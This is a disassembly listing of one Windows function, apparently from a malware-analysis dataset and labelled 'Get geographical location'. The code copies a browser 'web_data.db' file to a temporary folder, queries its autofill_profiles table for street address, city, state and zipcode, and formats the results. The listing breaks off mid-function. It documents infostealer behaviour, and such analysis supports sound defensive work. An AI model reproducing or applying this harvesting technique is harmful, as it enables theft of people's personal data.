Function at 0x14000c9c0
Capabilities:
Get geographical location

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x450
mov rax, qword [0x1400e8180]
xor rax, rsp
mov qword [rsp + 0x440], rax
mov r12, r9
mov r13, r8
mov r15, rdx
mov r14, rcx
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0xb0], rcx
mov qword [rsp + 0xe8], rdx
mov qword [rsp + 0xf0], r8
mov qword [rsp + 0xf8], r9
lea rcx, str.TEMP
call fcn.140099ac0
xor edi, edi
mov qword [rsp + 0x180], rdi
mov qword [rsp + 0x190], rdi
mov qword [rsp + 0x198], 0xf
mov byte [rsp + 0x180], dil
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], dil
jne 0x14000ca50
mov rdx, rax
lea rcx, [rsp + 0x180]
call fcn.1400218a0
nop
mov rcx, qword [r15 + 0x10]
movabs rbx, 0x7fffffffffffffff
mov rax, rbx
sub rax, rcx
cmp rax, 1
jb 0x14000f068
mov r9, r15
cmp qword [r15 + 0x18], 0x10
jb 0x14000ca95
mov r9, qword [r15]
mov qword [rsp + 0x30], 1
lea rax, [0x1400d0114]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r8, r15
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x100]
call fcn.14002d660
nop
mov rdx, r12
cmp qword [r12 + 0x18], 0x10
jb 0x14000cad4
mov rdx, qword [r12]
mov r8, qword [r12 + 0x10]
lea rcx, [rsp + 0x100]
call fcn.140021a00
mov qword [rsp + 0x120], rdi
mov qword [rsp + 0x130], rdi
mov qword [rsp + 0x138], rdi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x120], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x130], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 9
lea rdx, [0x1400d04f0]
lea rcx, [rsp + 0x120]
call fcn.140021a00
mov qword [rsp + 0x140], rdi
mov qword [rsp + 0x150], rdi
mov qword [rsp + 0x158], rdi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x140], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x150], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x138]
cmp rdx, 0x10
jb 0x14000cbbf
inc rdx
mov rcx, qword [rsp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cbba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f06e
call fcn.140080f50
mov qword [rsp + 0x130], rdi
mov qword [rsp + 0x138], 0xf
mov byte [rsp + 0x120], 0
mov rdx, qword [rsp + 0x118]
cmp rdx, 0x10
jb 0x14000cc1e
inc rdx
mov rcx, qword [rsp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cc19
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f074
call fcn.140080f50
mov qword [rsp + 0x110], rdi
mov qword [rsp + 0x118], 0xf
mov byte [rsp + 0x100], 0
lea rcx, [rsp + 0x140]
cmp qword [rsp + 0x158], 0x10
cmovae rcx, qword [rsp + 0x140]
xor edx, edx
call fcn.1400984cc
test eax, eax
je 0x14000ce19
mov qword [r14], rdi
mov qword [r14 + 0x10], rdi
mov qword [r14 + 0x18], 0xf
mov byte [r14], 0
xor r8d, r8d
lea rdx, [0x1400cfb1b]
mov rcx, r14
call fcn.1400218a0
nop
mov rdx, qword [rsp + 0x158]
cmp rdx, 0x10
jb 0x14000cccc
inc rdx
mov rcx, qword [rsp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ccc7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f104
call fcn.140080f50
mov qword [rsp + 0x150], rdi
mov qword [rsp + 0x158], 0xf
mov byte [rsp + 0x140], 0
mov rdx, qword [rsp + 0x198]
cmp rdx, 0x10
jb 0x14000cd2c
inc rdx
mov rcx, qword [rsp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cd26
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f10a
call fcn.140080f50
nop
mov rdx, qword [r15 + 0x18]
cmp rdx, 0x10
jb 0x14000cd66
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x14000cd61
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000f116
mov rcx, r8
call fcn.140080f50
mov qword [r15 + 0x10], rdi
mov qword [r15 + 0x18], 0xf
mov byte [r15], 0
mov rdx, qword [r13 + 0x18]
cmp rdx, 0x10
jb 0x14000cdb1
mov rcx, qword [r13]
inc rdx
cmp rdx, 0x1000
jb 0x14000cdac
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000f11c
mov rcx, r8
call fcn.140080f50
mov qword [r13 + 0x10], rdi
mov qword [r13 + 0x18], 0xf
mov byte [r13], 0
mov rdx, qword [r12 + 0x18]
cmp rdx, 0x10
jb 0x14000cdfe
mov rcx, qword [r12]
inc rdx
cmp rdx, 0x1000
jb 0x14000cdf9
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
add rcx, 0xfffffffffffffff8
cmp rcx, 0x1f
ja 0x14000f122
mov rcx, r8
call fcn.140080f50
mov qword [r12 + 0x10], rdi
mov qword [r12 + 0x18], 0xf
mov byte [r12], 0
mov rax, r14
jmp 0x14000f045
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x200]
call fcn.140088260
lea rdx, [rsp + 0x140]
cmp qword [rsp + 0x158], 0x10
cmovae rdx, qword [rsp + 0x140]
mov r8d, 0x20
lea rcx, [rsp + 0x200]
call fcn.14001dc10
mov rax, qword [rsp + 0x200]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x200], rax
mov rax, qword [rsp + 0x200]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x1fc], edx
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x310]
call fcn.140088260
mov rax, rbx
mov rcx, qword [rsp + 0x190]
sub rax, rcx
cmp rax, 0xc
jb 0x14000f07a
lea r9, [rsp + 0x180]
cmp qword [rsp + 0x198], 0x10
cmovae r9, qword [rsp + 0x180]
mov qword [rsp + 0x30], 0xc
lea rsi, str.web_data.db
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0x180]
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x100]
call fcn.14002d660
nop
mov r8d, 0x20
lea rdx, [rsp + 0x100]
lea rcx, [rsp + 0x310]
call fcn.14001ce80
nop
mov rdx, qword [rsp + 0x118]
cmp rdx, 0x10
jb 0x14000cf6a
inc rdx
mov rcx, qword [rsp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cf65
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f080
call fcn.140080f50
mov qword [rsp + 0x110], rdi
mov qword [rsp + 0x118], 0xf
mov byte [rsp + 0x100], 0
lea rdx, [rsp + 0x210]
lea rcx, [rsp + 0x310]
call fcn.14001e320
lea rcx, [rsp + 0x210]
call fcn.140020d50
mov ebx, 2
test rax, rax
jne 0x14000cfe1
mov rax, qword [rsp + 0x200]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x200]
add rcx, rax
mov edx, 6
cmp qword [rcx + 0x48], 0
cmovne edx, ebx
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.140003a40
lea rcx, [rsp + 0x318]
call fcn.140020d50
test rax, rax
jne 0x14000d022
mov rax, qword [rsp + 0x310]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x310]
add rcx, rax
mov edx, 6
cmp qword [rcx + 0x48], 0
cmovne edx, ebx
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.140003a40
movabs rax, 0x7fffffffffffffff
mov rcx, qword [rsp + 0x190]
sub rax, rcx
cmp rax, 0xc
jb 0x14000f086
lea r9, [rsp + 0x180]
cmp qword [rsp + 0x198], 0x10
cmovae r9, qword [rsp + 0x180]
mov qword [rsp + 0x30], 0xc
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0x180]
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x1a0]
call fcn.14002d660
nop
mov qword [rsp + 0xe0], rdi
lea rcx, [rsp + 0x1a0]
cmp qword [rsp + 0x1b8], 0x10
cmovae rcx, qword [rsp + 0x1a0]
lea rdx, [rsp + 0xe0]
call qword [sym.imp.sqlite3.dll_sqlite3_open]
test eax, eax
je 0x14000d3fb
mov rcx, qword [rsp + 0xe0]
call qword [sym.imp.sqlite3.dll_sqlite3_close]
mov qword [r14], rdi
mov qword [r14 + 0x10], rdi
mov qword [r14 + 0x18], 0xf
mov byte [r14], 0
xor r8d, r8d
lea rdx, [0x1400cfb1b]
mov rcx, r14
call fcn.1400218a0
nop
mov rdx, qword [rsp + 0x1b8]
cmp rdx, 0x10
jb 0x14000d138
inc rdx
mov rcx, qword [rsp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d133
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f0fe
call fcn.140080f50
mov qword [rsp + 0x1b0], rdi
mov qword [rsp + 0x1b8], 0xf
mov byte [rsp + 0x1a0], 0
mov rax, qword [rsp + 0x310]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x310], rax
mov rax, qword [rsp + 0x310]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x30c], edx
lea rcx, [rsp + 0x318]
call fcn.14001db60
mov rax, qword [rsp + 0x310]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x310], rax
mov rax, qword [rsp + 0x310]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x30c], edx
lea rbx, vtable.std::ios_base.0
mov qword [rsp + 0x3b8], rbx
lea rcx, [rsp + 0x3b8]
call fcn.1400838c0
nop
mov rax, qword [rsp + 0x200]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x200], rax
mov rax, qword [rsp + 0x200]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x1fc], edx
lea rcx, [rsp + 0x210]
call fcn.14001db60
mov rax, qword [rsp + 0x200]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x200], rax
mov rax, qword [rsp + 0x200]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rsp + rcx + 0x1fc], edx
mov qword [rsp + 0x2b0], rbx
lea rcx, [rsp + 0x2b0]
call fcn.1400838c0
nop
mov rdx, qword [rsp + 0x158]
cmp rdx, 0x10
jb 0x14000d2ae
inc rdx
mov rcx, qword [rsp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d2a9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f104
call fcn.140080f50
mov qword [rsp + 0x150], rdi
mov qword [rsp + 0x158], 0xf
mov byte [rsp + 0x140], 0
mov rdx, qword [rsp + 0x198]
cmp rdx, 0x10
jb 0x14000d30e
inc rdx
mov rcx, qword [rsp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d308
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f10a
call fcn.140080f50
nop
mov rdx, qword [r15 + 0x18]
cmp rdx, 0x10
jb 0x14000d348
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x14000d343
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000f116
mov rcx, r8
call fcn.140080f50
mov qword [r15 + 0x10], rdi
mov qword [r15 + 0x18], 0xf
mov byte [r15], 0
mov rdx, qword [r13 + 0x18]
cmp rdx, 0x10
jb 0x14000d393
mov rcx, qword [r13]
inc rdx
cmp rdx, 0x1000
jb 0x14000d38e
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000f11c
mov rcx, r8
call fcn.140080f50
mov qword [r13 + 0x10], rdi
mov qword [r13 + 0x18], 0xf
mov byte [r13], 0
mov rdx, qword [r12 + 0x18]
cmp rdx, 0x10
jb 0x14000d3e0
mov rcx, qword [r12]
inc rdx
cmp rdx, 0x1000
jb 0x14000d3db
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000f122
mov rcx, r8
call fcn.140080f50
mov qword [r12 + 0x10], rdi
mov qword [r12 + 0x18], 0xf
mov byte [r12], 0
mov rax, r14
jmp 0x14000f045
mov qword [rsp + 0xd8], rdi
mov qword [rsp + 0x160], rdi
mov qword [rsp + 0x170], rdi
mov qword [rsp + 0x178], 0xf
mov byte [rsp + 0x160], 0
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0xd8]
mov r8d, 0xffffffff
lea rdx, str.SELECT_street_address__city__state__zipcode_FROM_autofill_profiles
mov rcx, qword [rsp + 0xe0]
call qword [sym.imp.sqlite3.dll_sqlite3_prepare_v2]
test eax, eax
je 0x14000d7fe
mov rcx, qword [rsp + 0xd8]
call qword [sym.imp.sqlite3.dll_sqlite3_finalize]
mov rcx, qword [rsp + 0xe0]
call qword [sym.imp.sqlite3.dll_sqlite3_close]
mov qword [r14], rdi
mov qword [r14 + 0x10], rdi
mov qword [r14 + 0x18], 0xf
mov byte [r14], 0
xor r8d, r8d
lea rdx, [0x1400cfb1b]
mov rcx, r14
call fcn.1400218a0
nop
mov rdx, qword [rsp + 0x178]
cmp rdx, 0x10
jb 0x14000d4dc
inc rdx
mov rcx, qword [rsp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d4d7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f0f8
call fcn.140080f50
mov qword [rsp + 0x170], rdi
mov qword [rsp + 0x178], 0xf
mov byte [rsp + 0x160], 0
mov rdx, qword [rsp + 0x1b8]
cmp rdx, 0x10
jb 0x14000d53b
inc rdx
mov rcx, qword [rsp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d536
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f0fe
call fcn.140080f50
mov qword [rsp + 0x1b0], rdi
mov qword [rsp + 0x1b8], 0xf
mov byte [rsp + 0x1a0], 0
mov rax, qword [rsp + 0x310]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x310], rax
mov rax, qword [rsp + 0x310]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x30c], edx
lea rcx, [rsp + 0x318]
call fcn.14001db60
mov rax, qword [rsp + 0x310]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x310], rax
mov rax, qword [rsp + 0x310]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x30c], edx
lea rbx, vtable.std::ios_base.0
mov qword [rsp + 0x3b8], rbx
lea rcx, [rsp + 0x3b8]
call fcn.1400838c0
nop
mov rax, qword [rsp + 0x200]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x200], rax
mov rax, qword [rsp + 0x200]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x1fc], edx
lea rcx, [rsp + 0x210]
call fcn.14001db60
mov rax, qword [rsp + 0x200]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x200], rax
mov rax, qword [rsp + 0x200]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rsp + rcx + 0x1fc], edx
mov qword [rsp + 0x2b0], rbx
lea rcx, [rsp + 0x2b0]
call fcn.1400838c0
nop
mov rdx, qword [rsp + 0x158]
cmp rdx, 0x10
jb 0x14000d6b1
inc rdx
mov rcx, qword [rsp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d6ac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f104
call fcn.140080f50
mov qword [rsp + 0x150], rdi
mov qword [rsp + 0x158], 0xf
mov byte [rsp + 0x140], 0
mov rdx, qword [rsp + 0x198]
cmp rdx, 0x10
jb 0x14000d711
inc rdx
mov rcx, qword [rsp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d70b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f10a
call fcn.140080f50
nop
mov rdx, qword [r15 + 0x18]
cmp rdx, 0x10
jb 0x14000d74b
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x14000d746
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000f116
mov rcx, r8
call fcn.140080f50
mov qword [r15 + 0x10], rdi
mov qword [r15 + 0x18], 0xf
mov byte [r15], 0
mov rdx, qword [r13 + 0x18]
cmp rdx, 0x10
jb 0x14000d796
mov rcx, qword [r13]
inc rdx
cmp rdx, 0x1000
jb 0x14000d791
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000f11c
mov rcx, r8
call fcn.140080f50
mov qword [r13 + 0x10], rdi
mov qword [r13 + 0x18], 0xf
mov byte [r13], 0
mov rdx, qword [r12 + 0x18]
cmp rdx, 0x10
jb 0x14000d7e3
mov rcx, qword [r12]
inc rdx
cmp rdx, 0x1000
jb 0x14000d7de
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000f122
mov rcx, r8
call fcn.140080f50
mov qword [r12 + 0x10], rdi
mov qword [r12 + 0x18], 0xf
mov byte [r12], 0
mov rax, r14
jmp 0x14000f045
movzx ebx, byte [rsp + 0x40]
movzx edi, byte [rsp + 0x40]
movzx esi, byte [rsp + 0x40]
mov r14d, 2
nop dword [rax]
nop word [rax + rax]
mov rcx, qword [rsp + 0xd8]
call qword [sym.imp.sqlite3.dll_sqlite3_step]
mov rcx, qword [rsp + 0xd8]
cmp eax, 0x64
jne 0x14000e02b
xor edx, edx
call qword [sym.imp.sqlite3.dll_sqlite3_column_text]
xor ecx, ecx
mov qword [rsp + 0x120], rcx
mov qword [rsp + 0x130], rcx
mov qword [rsp + 0x138], 0xf
mov byte [rsp + 0x120], cl
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], cl
jne 0x14000d873
mov rdx, rax
lea rcx, [rsp + 0x120]
call fcn.1400218a0
nop
mov edx, 1
mov rcx, qword [rsp + 0xd8]
call qword [sym.imp.sqlite3.dll_sqlite3_column_text]
xor ecx, ecx
mov qword [rsp + 0x1e0], rcx
mov qword [rsp + 0x1f0], rcx
mov qword [rsp + 0x1f8], 0xf
mov byte [rsp + 0x1e0], cl
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], cl
jne 0x14000d8d0
mov rdx, rax
lea rcx, [rsp + 0x1e0]
call fcn.1400218a0
nop
mov edx, r14d
mov rcx, qword [rsp + 0xd8]
call qword [sym.imp.sqlite3.dll_sqlite3_column_text]
xor ecx, ecx
mov qword [rsp + 0x1c0], rcx
mov qword [rsp + 0x1d0], rcx
mov qword [rsp + 0x1d8], 0xf
mov byte [rsp + 0x1c0], cl
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], cl
jne 0x14000d927
mov rdx, rax
lea rcx, [rsp + 0x1c0]
call fcn.1400218a0
nop
mov edx, 3
mov rcx, qword [rsp + 0xd8]
call qword [sym.imp.sqlite3.dll_sqlite3_column_int]
mov r14d, eax
movabs rax, 0x7fffffffffffffff
mov rdx, qword [rsp + 0x130]
sub rax, rdx
cmp rax, 0x10
jb 0x14000f08c
lea rax, [rsp + 0x120]
cmp qword [rsp + 0x138], 0x10
cmovae rax, qword [rsp + 0x120]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x10
lea r9, str.Street_Address:
lea r8, [rsp + 0x120]
movzx edx, bl
lea rcx, [rsp + 0x100]
call fcn.14002d660
nop
mov r8d, 1
lea rdx, [0x1400d0184]
lea rcx, [rsp + 0x100]
call fcn.140021a00
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0xb8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xc8], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0xb8]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
cmovae rdx, rcx
movq r8, xmm1
lea rcx, [rsp + 0x160]
call fcn.140021a00
nop
mov rdx, qword [rsp + 0xd0]
cmp rdx, 0x10
jb 0x14000da81
inc rdx
mov rcx, qword [rsp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000da7b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f092
call fcn.140080f50
nop
mov rdx, qword [rsp + 0x118]
cmp rdx, 0x10
jb 0x14000dac4
inc rdx
mov rcx, qword [rsp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000dabf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f098
call fcn.140080f50
movabs rax, 0x7fffffffffffffff
mov rcx, qword [rsp + 0x1f0]
sub rax, rcx
cmp rax, 6
jb 0x14000f09e
lea rax, [rsp + 0x1e0]
cmp qword [rsp + 0x1f8], 0x10
cmovae rax, qword [rsp + 0x1e0]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 6
lea r9, str.City:
lea r8, [rsp + 0x1e0]
movzx edx, dil
lea rcx, [rsp + 0x100]
call fcn.14002d660
nop
mov r8d, 1
lea rdx, [0x1400d0184]
lea rcx, [rsp + 0x100]
call fcn.140021a00
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0x48]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
cmovae rdx, rcx
movq r8, xmm1
lea rcx, [rsp + 0x160]
call fcn.140021a00
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x14000dbe0
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000dbda
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f0a4
call fcn.140080f50
nop
mov rdx, qword [rsp + 0x118]
cmp rdx, 0x10
jb 0x14000dc23
inc rdx
mov rcx, qword [rsp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000dc1e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f0aa
call fcn.140080f50
movabs rax, 0x7fffffffffffffff
mov rcx, qword [rsp + 0x1d0]
sub rax, rcx
cmp rax, 7
jb 0x14000f0b0
lea rax, [rsp + 0x1c0]
cmp qword [rsp + 0x1d8], 0x10
cmovae rax, qword [rsp + 0x1c0]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 7
lea r9, str.State:
lea r8, [rsp + 0x1c0]
movzx edx, sil
lea rcx, [rsp + 0x100]
call fcn.14002d660
nop
mov r8d, 1
lea rdx, [0x1400d0184]
lea rcx, [rsp + 0x100]
call fcn.140021a00
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x90], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xa0], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0x90]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
cmovae rdx, rcx
movq r8, xmm1
lea rcx, [rsp + 0x160]
call fcn.140021a00
nop
mov rdx, qword [rsp + 0xa8]
cmp rdx, 0x10
jb 0x14000dd4e
inc rdx
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000dd48
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f0b6
call fcn.140080f50
nop
mov rdx, qword [rsp + 0x118]
cmp rdx, 0x10
jb 0x14000dd91
inc rdx
mov rcx, qword [rsp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000dd8c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f0bc
call fcn.140080f50
mov edx, r14d
lea rcx, [rsp + 0x420]
call fcn.1400046b0
nop
mov r9d, 9
lea r8, str.Zipcode:
xor edx, edx
mov rcx, rax
call fcn.14002d980
xor ecx, ecx
mov qword [rsp + 0x100], rcx
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x118], rcx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x100], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x110], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], 0xf
mov byte [rax], cl
mov r14d, 2
mov r8d, r14d
lea rdx, [0x1400d01bc]
lea rcx, [rsp + 0x100]
call fcn.140021a00
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x80], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0x70]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
cmovae rdx, rcx
movq r8, xmm1
lea rcx, [rsp + 0x160]
call fcn.140021a00
nop
mov rdx, qword [rsp + 0x88]
cmp rdx, 0x10
jb 0x14000deb0
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000deaa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f0c2
call fcn.140080f50
nop
mov rdx, qword [rsp + 0x118]
cmp rdx, 0x10
jb 0x14000def3
inc rdx
mov rcx, qword [rsp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000deee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f0c8
call fcn.140080f50
mov qword [rsp + 0x110], 0
mov qword [rsp + 0x118], 0xf
mov byte [rsp + 0x100], 0
mov rdx, qword [rsp + 0x438]
cmp rdx, 0x10
jb 0x14000df57
inc rdx
mov rcx, qword [rsp + 0x420]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000df51
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f0ce
call fcn.140080f50
nop
mov rdx, qword [rsp + 0x1d8]
cmp rdx, 0x10
jb 0x14000df9b
inc rdx
